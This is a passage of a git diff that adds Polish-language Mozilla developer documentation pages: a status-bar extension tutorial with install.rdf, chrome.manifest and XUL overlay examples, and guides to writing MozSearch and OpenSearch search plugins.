+<b>&lt;a href="javascript:addGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Zainstaluj mikropodsumowanie strony domowej Spread Firefox!&lt;/a&gt;</b>
+</pre>
+<p>
+ Uwaga. Ze względu na błąd {{ Bug(341283) }}, <cite>addMicrosummaryGenerator()</cite> nie akceptuje relatywnych adresów URL.</p>
+<h2 id="Podsumowanie" name="Podsumowanie">
+ Podsumowanie</h2>
+<p>
+ Powinieneś mieć teraz generator mikropodsumowań, który wyświetla aktualną liczbę pobrań Firefoksa. Dodaj stronę domową Spread Firefox do zakładek i wybierz mikropodsumowanie z rozwijanego menu <cite>Podsumowanie</cite> w oknie dialogowym <cite>Dodaj zakładkę</cite>.</p>
+<p>
+ Aby dowiedzieć się więcej o Mikropodsumowaniach, zajrzyj na <a class="external" href="http://wiki.mozilla.org/Microsummaries">stronę domową Mikropodsumowań (en)</a>.</p>
diff --git a/files/pl/tworzenie_rozszerzenia_paska_stanu/index.html b/files/pl/tworzenie_rozszerzenia_paska_stanu/index.html
new file mode 100644
index 0000000000..e604cdd32c
--- /dev/null
+++ b/files/pl/tworzenie_rozszerzenia_paska_stanu/index.html
@@ -0,0 +1,202 @@
+---
+title: Tworzenie rozszerzenia paska stanu
+slug: Tworzenie_rozszerzenia_paska_stanu
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/Creating_a_status_bar_extention
+---
+<p>{{ Next("Tworzenie rozszerzenia dynamicznego paska stanu") }} Jest to pierwszy z całej serii artykułów mających na celu zademonstrować tworzenie coraz bardziej skomplikowanych rozszerzeń do przeglądarki Firefox. Niektóre z przykładów mogą być podobne do innych spotkanych w różnych miejscach, ale celem tejże serii jest pomoc nowym programistom rozszerzeń i zebranie wszystkich potrzebnych informacji w jednym miejscu, z którego łatwo jest rozpocząć.</p>
+
+<p>Wiele z wprowadzonych tutaj pojęć odnosi się do wszystkich aplikacji opartych na XUL; jednak aby nie zostać całkowicie przytłoczonym, skupimy się w szczególności na Firefox.</p>
+
+<p>Ten przykład doda statyczny ciąg tektu do paska statusu u dołu okna przeglądarki Firefox. Jeśli brzmi to jak istniejący artykuł <a href="pl/Tworzymy_rozszerzenie">Tworzymy rozszerzenie</a>, masz rację. Jednak, ten przykład będzie rozbudowywany w kolejnych artykułach tej serii.</p>
+
+<h2 id="Pobieranie_przyk.C5.82adu" name="Pobieranie_przyk.C5.82adu">Pobieranie przykładu</h2>
+
+<p>Możesz pobrać przykład z poniższej strony:</p>
+
+<p><a class="external" href="http://developer.mozilla.org/samples/extension-samples/status-bar-sample-1.zip">Pobierz przykład</a></p>
+
+<h2 id="Manifest_instalacji" name="Manifest_instalacji">Manifest instalacji</h2>
+
+<p>Manifest instalacji <a href="pl/Manifesty_Instalacji">install.rdf</a> jest plikiem tekstowym zawierającym ważne informacje o rozszerzeniu.</p>
+
+<pre class="eval"> &lt;?xml version="1.0"?&gt;
+
+ &lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+ xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+
+ &lt;Description about="<span class="nowiki">urn:mozilla:install-manifest</span>"&gt;
+
+ &lt;em:id&gt;<span class="nowiki">status-bar-sample-1@example.com</span>&lt;/em:id&gt;
+ &lt;em:version&gt;1.0&lt;/em:version&gt;
+ &lt;em:type&gt;2&lt;/em:type&gt;
+
+ &lt;!-- Front End Metadata --&gt;
+
+ &lt;em:name&gt;Status Bar Sample 1&lt;/em:name&gt;
+ &lt;em:description&gt;Sample static status bar panel&lt;/em:name&gt;
+ &lt;em:creator&gt;My Name&lt;/em:creator&gt;"
+ &lt;em:homepageURL&gt;<span class="nowiki">http://developer.mozilla.org/en/docs/Creating_a_status_bar_extension</span>&lt;/em:homepageURL&gt;
+
+ &lt;!-- Opis jaka wersja Firefoksa jest obsługiwana --&gt;
+
+ &lt;em:targetApplication&gt;
+ &lt;Description&gt;
+ &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+ &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+ &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+ &lt;/Description&gt;
+ &lt;/em:targetApplication&gt;
+
+ &lt;/Description&gt;
+
+ &lt;/RDF&gt;
+</pre>
+
+<p>Przyjrzyjmy się najważniejszym częściom manifestu.</p>
+
+<h3 id="Informacje_identyfikuj.C4.85ce_rozszerzenie" name="Informacje_identyfikuj.C4.85ce_rozszerzenie">Informacje identyfikujące rozszerzenie</h3>
+
+<p>Pewne informacje są wymagane, by Firefox mógł jednoznacznie zidentyfikować rozszerzenie. W poniższym przykładzie są to pola:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Nazwa własności</td>
+ <td class="header">Opis</td>
+ </tr>
+ <tr>
+ <td>id</td>
+ <td>Unikalny strumień identyfikujący. W wersjach Firefoksa wcześniejszych niż 1.5 było to <a href="pl/Generowanie_GUID">GUID</a>. Począwszy jednakże od Firefoksa 1.5 powinieneś używać strumienia w postaci<em>nazwa-rozszerzenia</em>@<em>kreator-domeny</em>.</td>
+ </tr>
+ <tr>
+ <td>version</td>
+ <td>Numer wersji rozszerzenia.</td>
+ </tr>
+ <tr>
+ <td>type</td>
+ <td>Typ dodatku. Dla rozszerzenia równa się 2.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Informacje_dla_u.C5.BCytkownika" name="Informacje_dla_u.C5.BCytkownika">Informacje dla użytkownika</h3>
+
+<p>W tym przykładzie mamy 4 informacje dla użytkownika tj. dane wyświetlane w interfejsie użytkownika Firefoksa. Są to:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Nazwa własności</td>
+ <td class="header">Opis</td>
+ </tr>
+ <tr>
+ <td>em:name</td>
+ <td>Nazwa rozszerzenia. Nazwa wyświetlana w oknie Rozszerzenia.</td>
+ </tr>
+ <tr>
+ <td>em:description</td>
+ <td>Krótki jedno liniowy opis rozszerzenia. Tekst jest wyświetlany w oknie Rozszerzenia.</td>
+ </tr>
+ <tr>
+ <td>em:creator</td>
+ <td>Nazwisko autora.</td>
+ </tr>
+ <tr>
+ <td>homepageURL</td>
+ <td>Adres URL strony, na której użytkownik może uzyskać więcej informacji o rozszerzeniu, lub poszukać uaktualnień. Pole nie jest wymagane.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Informacje_o_aplikacji_docelowej" name="Informacje_o_aplikacji_docelowej">Informacje o aplikacji docelowej</h3>
+
+<p>Ważnym jest, by zawrzeć informacje identyfikujące aplikacje w jakich rozszerzenie może zostać użyte. Opisywane rozszerzenie przeznaczone jest wyłącznie dla Firefoksa. Jednakże możliwym jest stworzenie rozszerzeń przeznaczonych na wiele aplikacji bazujących na XUL-u.</p>
+
+<p>Ważnym jest również zaznaczenie, które wersje aplikacji docelowych są wspierane przez rozszerzenie. Jeśli nie będzie ono działało w starszych wersjach, lub też nie zostało przetestowane na wersjach nowszych możesz ograniczyć rozszerzenie tak, aby tylko wspierane wersje próbowały go użyć.</p>
+
+<p>Informacje o aplikacji docelowej zawarte są wewnątrz bloku <code>em:targetApplication</code> <code>Description</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Nazwa własności</td>
+ <td class="header">Opis</td>
+ </tr>
+ <tr>
+ <td>id</td>
+ <td>ID określające aplikację docelową. "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" jest ciągiem GUID identyfikującym jednoznacznie Firefoksa jako aplikację docelową.</td>
+ </tr>
+ <tr>
+ <td>minVersion</td>
+ <td>Najstarsza wersja aplikacji docelowej wspieranej przez rozszerzenie.</td>
+ </tr>
+ <tr>
+ <td>maxVersion</td>
+ <td>Najnowsza wersja aplikacji docelowej, na której rozszerzenie będzie działało.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>W celu dowiedzenia się więcej odnośnie formatu manifestu instalacji przeczytaj artykuł <a href="pl/Manifesty_Instalacji">Manifesty Instalacji</a>.</p>
+
+<h2 id="Rejestracja_chrome" name="Rejestracja_chrome">Rejestracja chrome</h2>
+
+<p>The chrome manifest is a file that tells the target application where to look for the chrome package for your extension. The <a href="pl/Chrome">Chrome</a> is the set of user interface elements outside the content area of the application's window, such as toolbars, status bars, menu bars, and the like.</p>
+
+<p>Dla przykładu plik manifestu chrome chrome.manifest.</p>
+
+<pre class="eval"> content status-bar-sample-1 chrome/content/
+
+ # Firefox
+ overlay <span class="nowiki">chrome://browser/content/browser.xul</span> <span class="nowiki">chrome://status-bar-sample-1/content/status-bar-sample-1.xul</span>
+</pre>
+
+<p>The first line registers the location on disk of the contents of the extension whose ID is "status-bar-sample-1". This path is relative to the extension's root folder in this case, but can be absolute if you want it to be.</p>
+
+<p>The second line registers an overlay. An overlay lets you add new content to an existing document. In this case, we want to augment the UI of the Firefox browser, so we specify the URI of the Firefox main window's XUL file, "<a class="external" rel="freelink">chrome://browser/content/browser.xul</a>", as the interface to overlay onto, and the URI of our own XUL file, "<a class="external" rel="freelink">chrome://status-bar-sample-1/content...r-sample-1.xul</a>", as the interface to overlay onto the browser.</p>
+
+<p>See <a href="pl/Nak%c5%82adki_XUL">Nakładki XUL</a> for details on how overlays work. You can also find more details about format of chrome manifests in the <a href="pl/Rejestracja_Chrome">Rejestracja Chrome</a> section.</p>
+
+<h2 id="Nak.C5.82adki_XUL" name="Nak.C5.82adki_XUL">Nakładki XUL</h2>
+
+<p>The XUL overlay file contains the XUL description of the user interface we want to add to Firefox. Our overlay file, status-bar-sample-1.xul, looks like this:</p>
+
+<pre class="eval"> &lt;?xml version="1.0" encoding="UTF-8"?&gt;
+
+ &lt;!DOCTYPE overlay &gt;
+ &lt;overlay id="status-bar-sample-1-overlay"
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+ &lt;!-- Firefox --&gt;
+ &lt;statusbar id="status-bar"&gt;
+ &lt;statusbarpanel id="status-bar-sample-1"
+ label="Hello World"
+ tooltiptext="Sample status bar item"
+ /&gt;
+ &lt;/statusbar&gt;
+
+ &lt;/overlay&gt;
+</pre>
+
+<p>The first order of business in the status-bar-sample-1.xul file is to establish that this is in fact a XUL file, and to set up a unique ID for the overlay. This is accomplished by the following line of XML:</p>
+
+<pre class="eval">&lt;overlay id="status-bar-sample-1-overlay"
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+</pre>
+
+<p>Once that's accomplished, we can describe our user interface. In this case, we're simply inserting a new panel into the status bar at the bottom of Firefox browser windows. We do this by embedding inside the <code>statusbar</code> named "status-bar" -- which is the Firefox browser window's status bar -- a new <code>statusbarpanel</code> object we call "status-bar-sample-1".</p>
+
+<p>We include properties to configure our new status bar panel the way we want, setting its text label to "Hello World" and establishing a tool tip with the message "Sample status bar item" in it.</p>
+
+<h2 id="Zobacz_jak_to_dzia.C5.82a" name="Zobacz_jak_to_dzia.C5.82a">Zobacz jak to działa</h2>
+
+<p>Aby przetestować swoje rozszerzenie, przeciągnij folder do folderu rozszerzenia w swoim <a class="external" href="http://kb.mozillazine.org/Profile_folder">folderze profilu</a>. Następnie uruchom ponownie Firefoksa i powinieneś zobaczyć rozszerzenie na pasku stanu.</p>
+
+<p><img alt="Grafika:status bar sample 1.png"></p>
+
+<p>{{ Next("Tworzenie rozszerzenia dynamicznego paska stanu") }}</p>
diff --git a/files/pl/tworzenie_wtyczek_mozsearch/index.html b/files/pl/tworzenie_wtyczek_mozsearch/index.html
new file mode 100644
index 0000000000..787f685a96
--- /dev/null
+++ b/files/pl/tworzenie_wtyczek_mozsearch/index.html
@@ -0,0 +1,52 @@
+---
+title: Tworzenie wtyczek MozSearch
+slug: Tworzenie_wtyczek_MozSearch
+tags:
+ - Dodatki
+ - Wszystkie_kategorie
+ - Wtyczki_wyszukiwarek
+translation_of: Mozilla/Creating_MozSearch_plugins
+---
+<p> </p>
+<p>Firefox 2 używa uproszczonej formy formatu <a class="external" href="http://opensearch.org/">OpenSearch</a> do przechowywania wtyczek wyszukiwania. Wtyczka MozSearch jest plikiem XML, który opisuje silnik wyszukiwarki, jej adres URL i parametry, które mają być przekazane do tego adresu URL.</p>
+<div class="warning"><strong>Ostrzeżenie:</strong> MozSearch nie jest standardem i jest przeznaczony tylko na wewnętrzne potrzeby projektu Mozilla. Wtyczka ta powinna być użyta tylko wtedy, gdy zamierzasz rozpowszechniać wtyczkę wyszukiwarki spakowaną w <a href="/pl/Paczki#Pliki_rozszerze.C5.84_zale.C5.BCne_od_aplikacji" title="pl/Paczki#Pliki_rozszerze.C5.84_zale.C5.BCne_od_aplikacji">rozszerzenie Firefoksa</a> lub jeśli tworzysz wtyczkę, która ma być dostarczana jako domyślna w Firefoksie. Zobacz <a href="/pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa" title="pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa">Tworzenie wtyczek OpenSearch dla Firefoksa</a>, aby dowiedzieć się o tworzeniu wtyczek instalowanych z Internetu.</div>
+<h2 id="Plik_wtyczki">Plik wtyczki</h2>
+<p>Format MozSearch jest podobny do formatu <a href="/pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa" title="pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa">OpenSearch</a>. Jedyną różnicą jest element root i przestrzeń nazw XML.</p>
+<h2 id="Przyk.C5.82ad:_wyszukiwarka_Yahoo.21">Przykład: wyszukiwarka Yahoo!</h2>
+<p>Poniższy kod XML jest wbudowaną wtyczką Firefox 2 odpowiadającą za wyszukiwarkę Yahoo!:</p>
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;Yahoo&lt;/ShortName&gt;
+&lt;Description&gt;Yahoo Search&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,R0lGODlhEAAQAJECAP8AAAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIplI+py+0NogQuyBDEnEd2kHkfFWUamEzmpZSfmaIHPHrRguUm/fT+UwAAOw==&lt;/Image&gt;
+&lt;Url type="application/x-suggestions+json" method="GET"
+ template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;amp;command={searchTerms}" /&gt;
+&lt;Url type="text/html" method="GET" template="http://search.yahoo.com/search"&gt;
+ &lt;Param name="p" value="{searchTerms}"/&gt;
+ &lt;Param name="ei" value="UTF-8"/&gt;
+ &lt;MozParam name="fr" condition="pref" pref="yahoo-fr" /&gt;
+&lt;/Url&gt;
+&lt;SearchForm&gt;http://search.yahoo.com/&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+<p>Przypuśćmy, że użytkownik wybierze silnik wyszukiwania Yahoo! i wprowadzi "mozilla" w polu wyszukiwania, po czym naciśnie klawisz enter. Firefox użyje powyższego opisu wyszukiwarki, aby stworzyć taki adres URL:</p>
+<pre class="eval"><span>http://search.yahoo.com/search?p=mozilla&amp;ei=UTF-8&amp;fr=moz2</span>
+</pre>
+<p>Jeśli użytkownik kliknie ikonę lupy w panelu wyszukiwania lub wybierze opcję Znajdź w Internecie w menu Narzędzia, gdy panel wyszukiwania nie jest widoczny, przeglądarka przeniesie go do strony <code><span>http://search.yahoo.com/</span></code>, która została wpisana jako wartość elementu <code>&lt;SearchForm&gt;</code>.</p>
+<h2 id="Przyk.C5.82ad:_wyszukiwarka_MDC">Przykład: wyszukiwarka MDC</h2>
+<p>Ta wtyczka pozwoli Ci w prosty sposób przeszukiwać stronę Mozilla Developer Center.</p>
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;MDC&lt;/ShortName&gt;
+&lt;Description&gt;Mozilla Developer Center search&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8%2F9hAAAABGdBTUEAAK%2FINwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHWSURBVHjaYvz%2F%2Fz8DJQAggJiQOe%2Ffv2fv7Oz8rays%2FN%2BVkfG%2FiYnJfyD%2F1%2BrVq7ffu3dPFpsBAAHEAHIBCJ85c8bN2Nj4vwsDw%2F8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFElwPxf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi%2FG%2BQKY4hh5WAXGf8PDQ0FGwJ22d27CjADAAIIrLmjo%2BMXA9R2kAHvGBA2wwx6B8W7od6CeQcggKCmCEL8bgwxYCbUIGTDVkHDBia%2BCuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBHkAlC0Mdy7x9ABNA3obAZXIAa6iKEcGlMVQHwWyjYuL2d4v2cPg8vZswx7gHyAAAK7AOif7SAbOqCmn4Ha3AHFsIDtgPq%2FvLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQg%2FkdypqCg4H8lUIACnQ%2FSOBMYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9DTAAgDBBCcAVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD%2BaDAXH0WLM4A9MZPXJkJIIAwTAR5pQMalaCABQUULttBGCCAGCnNzgABBgAMJ5THwGvJLAAAAABJRU5ErkJggg%3D%3D&lt;/Image&gt;
+&lt;Url type="text/html" method="GET" template="http://developer.mozilla.org/en/docs/Special:Search?search={searchTerms}"/&gt;
+&lt;SearchForm&gt;http://developer.mozilla.org/en/docs/Special:Search&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+<p>Zauważ, że w tym przypadku zamiast używania <code>&lt;Param&gt;</code> do zdefiniowania parametrów silnika wyszukiwarki, są one po prostu osadzone wewnątrz szablonowego URL. Jest to właściwie preferowany sposób, gdy używamy <code>GET</code> jako metody. <code>&lt;Param&gt;</code> powinien być użyty dla <code>POST</code>.</p>
+<h2 id="Zobacz_tak.C5.BCe">Zobacz także</h2>
+<ul> <li><a href="/pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa#Rozwi.C4.85zywanie_problem.C3.B3w_.E2.80.93_wskaz.C3.B3wki" title="pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa#Rozwi.C4.85zywanie_problem.C3.B3w_.E2.80.93_wskaz.C3.B3wki">Porady dotyczące problemów z wtyczkami wyszukiwarek</a></li> <li><a class="external" href="http://nmstudio.pl/mozsearch/">Generator wtyczek MozSearch</a></li>
+</ul>
+
+<p>{{ languages( { "ca": "ca/Creaci\u00f3_de_connectors_MozSearch", "en": "en/Creating_MozSearch_plugins", "es": "es/Creaci\u00f3n_de_plugins_MozSearch", "fr": "fr/Cr\u00e9ation_de_plugins_MozSearch", "it": "it/Creare_Plugin_MozSearch", "ja": "ja/Creating_MozSearch_plugins", "zh-tw": "zh_tw/\u88fd\u4f5c_MozSearch_\u641c\u5c0b\u6a21\u7d44" } ) }}</p>
diff --git a/files/pl/tworzenie_wtyczek_opensearch_dla_firefoksa/index.html b/files/pl/tworzenie_wtyczek_opensearch_dla_firefoksa/index.html
new file mode 100644
index 0000000000..91968f2ac8
--- /dev/null
+++ b/files/pl/tworzenie_wtyczek_opensearch_dla_firefoksa/index.html
@@ -0,0 +1,158 @@
+---
+title: Tworzenie wtyczek OpenSearch dla Firefoksa
+slug: Tworzenie_wtyczek_OpenSearch_dla_Firefoksa
+tags:
+ - Dodatki
+ - OpenSearch
+ - Wszystkie_kategorie
+ - Wtyczki_wyszukiwarek
+translation_of: Web/OpenSearch
+---
+<p> </p>
+<h2 id="OpenSearch" name="OpenSearch">OpenSearch</h2>
+<p><a href="pl/Firefox_2">Firefox 2</a> obsługuje format opisu wtyczek wyszukiwarek <a class="external" href="http://opensearch.org/">OpenSearch</a>. Wtyczki korzystające ze <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document">składni OpenSearch</a> są zgodne z IE 7 i Firefoksem. Z tego powodu są formatem zalecanym do stosowania na stronach WWW.</p>
+<p>Firefox obsługuje także dodatkowe możliwości spoza <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document">specyfikacji OpenSearch</a>, takie jak podpowiedzi wyszukiwania i element <code>SearchForm</code>. Niniejszy artykuł skupia się na tworzeniu wtyczek zgodnych z OpenSearch, ale wykorzystujących także i te dodatkowe możliwości.</p>
+<p>Dostępność plików opisu OpenSearch może być także ogłaszana w sposób opisany w podrozdziale <a href="#Automatyczne_wykrywanie_wtyczek_wyszukiwarek">Automatyczne wykrywanie wtyczek wyszukiwarek</a>, mogą być także instalowane w sposób programowy, tak jak to opisano w artykule <a href="pl/Dodawanie_wyszukiwarek_ze_stron_WWW">Dodawanie wyszukiwarek ze stron WWW</a>.</p>
+<h2 id="Plik_opisu_OpenSearch" name="Plik_opisu_OpenSearch">Plik opisu OpenSearch</h2>
+<p>Plik XML opisujący wyszukiwarkę ma prostą budowę, taką, jak przedstawiona w poniższym szablonie. Pogrubione fragmenty muszą być dostosowane do wymogów konkretnej wyszukiwarki.</p>
+<pre class="eval">&lt;OpenSearchDescription xmlns="<span class="nowiki">http://a9.com/-/spec/opensearch/1.1/</span>"
+ xmlns:moz="<span class="nowiki">http://www.mozilla.org/2006/browser/search/</span>"&gt;
+&lt;ShortName&gt;<b>nazwaWyszukiwarki</b>&lt;/ShortName&gt;
+&lt;Description&gt;<b>opisWyszukiwarki</b>&lt;/Description&gt;
+&lt;InputEncoding&gt;<b>kodowanieWejściowe</b>&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,<b>daneObrazu</b>&lt;/Image&gt;
+&lt;Url type="text/html" method="<b>metoda</b>" template="<b>adresURLWyszukiwania</b>"&gt;
+ &lt;Param name="<b>nazwaParam1</b>" value="<b>wartośćParam1</b>"/&gt;
+ ...
+ &lt;Param name="<b>nazwaParamN</b>" value="<b>wartośćParamN</b>"/&gt;
+&lt;/Url&gt;
+&lt;Url type="application/x-suggestions+json" template="<b>adresURLPodpowiedzi</b>"/&gt;
+&lt;moz:SearchForm&gt;<b>adresURLFormularza</b>&lt;/moz:SearchForm&gt;
+&lt;/OpenSearchDescription&gt;
+</pre>
+<dl>
+ <dt>
+ <b>ShortName</b></dt>
+ <dd>
+ Krótka nazwa wyszukiwarki.</dd>
+</dl>
+<dl>
+ <dt>
+ <b>Description</b></dt>
+ <dd>
+ Zwięzły opis wyszukiwarki.</dd>
+</dl>
+<dl>
+ <dt>
+ <b>InputEncoding</b></dt>
+ <dd>
+ Kodowanie znaków stosowane przy wprowadzaniu danych do wyszukiwarki.</dd>
+</dl>
+<dl>
+ <dt>
+ <b>Image</b></dt>
+ <dd>
+ Zakodowana przy użyciu algorytmu Base-64 ikona o wymiarach 16x16 reprezentująca wyszukiwarkę. Narzędzie ułatwiające tworzenie danych do umieszczenia w tym elemencie (kodowania plików algorytmem Base64) można znaleźć na stronie: <a class="external" href="http://software.hixie.ch/utilities/cgi/data/data">The data: URI kitchen</a>.</dd>
+</dl>
+<dl>
+ <dt>
+ <b>Url</b></dt>
+ <dd>
+ Określa adres lub adresy URL wykorzystywane do wyszukiwania. Atrybut <code>method</code></dd>
+</dl>
+<p>decyduje, czy do wysłania zapytania ma być stosowana metoda <code>GET</code> czy <code>POST</code>. Atrybut określa podstawowy adres URL dla zapytania wyszukiwarki.</p>
+<dl>
+ <dd>
+ <div class="note">
+ <b>Uwaga:</b> Internet Explorer 7 nie obsługuje żądań <code>POST</code>.</div>
+ </dd>
+</dl>
+<dl>
+ <dd>
+ Firefox obsługuje dwa typy elementów Url:</dd>
+</dl>
+<ul>
+ <li><code>type="text/html"</code> – do określenia adresu URL samego zapytania wyszukiwarki</li>
+ <li><code>type="application/x-suggestions+json"</code> – do określenia adresu URL z podpowiedziami wyszukiwania.</li>
+</ul>
+<dl>
+ <dd>
+ W adresach obu typów tekst <code>{searchTerms}</code> zostanie zastąpiony przez wartości wprowadzone przez użytkownika do paska wyszukiwania. Inne obsługiwane parametry dynamiczne wyszukiwania można znaleźć w rozdziale <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1/Draft_3#OpenSearch_1.1_parameters">OpenSearch 1.1 parameters</a> specyfikacji OpenSearch.</dd>
+</dl>
+<dl>
+ <dd>
+ Podczas przeglądania
+ <i>
+ oficjalnej specyfikacji OpenSearch</i>
+ , a konkretnie elementu Url, można zauważyć, że Mozilla w pewnym stopniu nie przestrzega specyfikacji, używając atrybutu <code>method</code> i znacznika <code>Param</code> bez odpowiedniej przestrzeni nazw. Jeśli chcemy zachować zgodność zarówno ze specyfikacją, jak i z Mozillą, możemy bezpiecznie używać obu sposobów równolegle, tzn. używać atrybutu <code>method</code> i jego wersji z przestrzenią nazw obok siebie.</dd>
+</dl>
+<dl>
+ <dd>
+ Dla zapytań o podpowiedzi wyszukiwania, podany szablon adresu URL wykorzystywany jest do pobrania listy podpowiedzi w formacie JavaScript Object Notation (JSON). Szczegóły na temat implementacji podpowiedzi wyszukiwania po stronie serwera można znaleźć w artykule <a href="pl/Wsparcie_dla_podpowiedzi_wyszukiwania_w_wyszukiwarkach">Wsparcie dla podpowiedzi wyszukiwania w wyszukiwarkach</a>.</dd>
+</dl>
+<p><img alt="Image:SearchSuggestionSample.jpg"></p>
+<dl>
+ <dt>
+ <b>Param</b></dt>
+ <dd>
+ Parametry, które muszą zostać przekazane wraz z zapytaniem, w postaci par klucz/wartość. Przy określaniu tych wartości można użyć <code>{searchTerms}</code>, by wstawić w to miejsce wyszukiwane słowa wprowadzone przez użytkownika w pasku wyszukiwania.</dd>
+ <dd>
+ <div class="note">
+ <b>Uwaga:</b> Internet Explorer 7 nie obsługuje tego elementu.</div>
+ </dd>
+</dl>
+<dl>
+ <dt>
+ <b>SearchForm</b></dt>
+ <dd>
+ Adres URL strony z wyszukiwarką na danej witrynie. (Niejako adres strony, którą wtyczka wyszukiwarki zastępuje - przyp. tłum.). W ten sposób Firefox umożliwia użytkownikowi bezpośrednie otwarcie danej witryny.</dd>
+</dl>
+<div class="note">
+ <b>Uwaga:</b> Ten element nie jest częścią specyfikacji OpenSearch, jest związany z konkretną funkcją Firefoksa. Z tej przyczyny poprzedzony został przedrostkiem przestrzeni nazw XML "<code>moz:</code>", aby inne aplikacje, nie obsługujące tego elementu, mogły go zignorować.</div>
+<h2 id="Automatyczne_wykrywanie_wtyczek_wyszukiwarek" name="Automatyczne_wykrywanie_wtyczek_wyszukiwarek">Automatyczne wykrywanie wtyczek wyszukiwarek</h2>
+<p>Witryna oferująca wtyczkę wyszukiwarki może ogłosić jej dostępność, umożliwiając użytkownikom Firefoksa na łatwą i szybką instalację wtyczki.</p>
+<p>Aby skorzystać z tej funkcji, wystarczy po prostu w części <code>&lt;head&gt;</code> strony internetowej dodać jedną linię:</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="<i>tytułWyszukiwarki</i>" href="<i>adresURLWtyczki</i>"&gt;
+</pre>
+<p>Pochylony tekst należy zastąpić, jak opisano poniżej:</p>
+<dl>
+ <dt>
+ <b>tytułWyszukiwarki</b></dt>
+ <dd>
+ Nazwa wyszukiwarki, np. "Yahoo! Search". Wartość ta powinna być zgodna z wartością ShortName w pliku wtyczki.</dd>
+</dl>
+<dl>
+ <dt>
+ <b>adresURLWtyczki</b></dt>
+ <dd>
+ Adres URL do pliku XML wtyczki wyszukiwania, która ma zostać pobrana przez przeglądarkę.</dd>
+</dl>
+<p>Jeśli witryna oferuje szereg wtyczek wyszukiwania, można pozwolić na automatyczne wykrywanie ich wszystkich - przez umieszczenie tylu znaczników <code>link</code>, ile wtyczek chcemy zaoferować, np.:</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="MySite: wg autora" href="<a class="external" href="http://www.mysite.com/mysiteauthor.xml" rel="freelink">http://www.mysite.com/mysiteauthor.xml</a>"&gt;
+&lt;link rel="search" type="application/opensearchdescription+xml" title="MySite: wg tytułu" href="<a class="external" href="http://www.mysite.com/mysitetitle.xml" rel="freelink">http://www.mysite.com/mysitetitle.xml</a>"&gt;
+</pre>
+<p>W ten sposób witryna oferuje osobne wtyczki pozwalające na przeszukanie wg autorów i tytułów.</p>
+<h2 id="Rozwi.C4.85zywanie_problem.C3.B3w_.E2.80.93_wskaz.C3.B3wki" name="Rozwi.C4.85zywanie_problem.C3.B3w_.E2.80.93_wskaz.C3.B3wki">Rozwiązywanie problemów – wskazówki</h2>
+<p>Jeśli w pliku XML wtyczki jest błąd, mogą wystąpić problemy podczas instalacji wykrytej wtyczki w Firefoksie 2. Informacja o błędzie może nie być zbyt dokładna, dlatego poniżej podajemy kilka wskazówek, które powinny pomóc w takiej sytuacji.</p>
+<ul>
+ <li>Wtyczka wyszukiwarki XML musi być prawidłowo uformowana. Sprawdzić to można np. otwierając plik wyszukiwarki bezpośrednio w Firefoksie. Ampersandy („&amp;”) w szablonach adresów URL muszą występować w postaci encji <code>&amp;amp;</code>, a każdy znacznik musi być zamknięty, albo przez ukośnik na końcu, albo przez odpowiedni znacznik zamykający.</li>
